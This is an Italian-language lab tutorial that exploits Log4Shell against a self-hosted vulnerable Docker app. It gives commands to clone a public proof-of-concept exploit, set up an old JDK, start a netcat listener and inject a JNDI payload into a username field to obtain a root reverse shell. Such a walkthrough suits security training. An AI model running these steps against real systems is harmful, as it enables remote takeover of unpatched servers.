tags: Log4Shell Log4Shell_PoC Log4j Log4j_Exploitation
Creazione Server Vittima (Facoltativo)
Per prima cosa installiamoci l’app vulnerabile su una macchina vittima:
sudo apt-get update
sudo apt-get install docker.io
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
docker build -t log4j-shell-poc .
#Infine
docker run --network host log4j-shell-poc
Ora vai alla pagina del web server vulnerabile per verificare se funziona:

Per verificare se un parametro è vulnerabile vai alla pagina Identificazione
Attacco al Server
Scarica una versione jdk adatta all’exploit
Ora cerca questa versione di Java ” jdk-8u202-linux-x64.tar.gz” perchè serve all’exploit per funzionare. La puoi trovare al seguente indirizzo:
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gzOppure:
Sull’Oracle Java Archive (Ufficiale, richiede account)
Questo è il repository ufficiale di Oracle. Il download è gratuito ma, da aprile 2019, richiede un account Oracle per accedere ai file. Se hai già un account, puoi scaricarlo dalla pagina “Java SE 8 Archive Downloads”.
Una volta scaricato il file .tar.gz estrai il contenuto con il seguente comando:
tar -xf jdk-8u202-linux-x64.tar.gzE sposta la cartella jdk1.8.0_202 in /usr/bin:
sudo mv jdk1.8.0_202 /usr/bin/Una volta configurata questa parte possiamo passare al vero e proprio exploit.
Exploit
Scarica l’exploit con il seguente comando:
git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
Dalla cartella dell’exploit modifica il file poc.py sostituendo tutti i percorsi jdk1.8.0_20/bin/javac con /usr/bin/jdk1.8.0_202/bin/javac per far si che l’exploit riesca ad utilizzare la versone jdk che abbiamo scaricato nella fase precedente, il risultato deve essere come nei seguenti screenshots:



Ora salva e mettiti in ascolto con Netcat:
nc -lvnp 9001
In un altro terminale lancia l’exploit con:
python3 poc.py --userip 10.10.1.13 --webport 8000 --lport 9001
Copia il payload vicino a Send Me e copialo nella sezione username della applicazione:

Inserisci quel payload nella sezione username:

Una volta inviato ti dovrebbe apparire una reverse shell di root nella nostra shell in ascolto con Netcat:
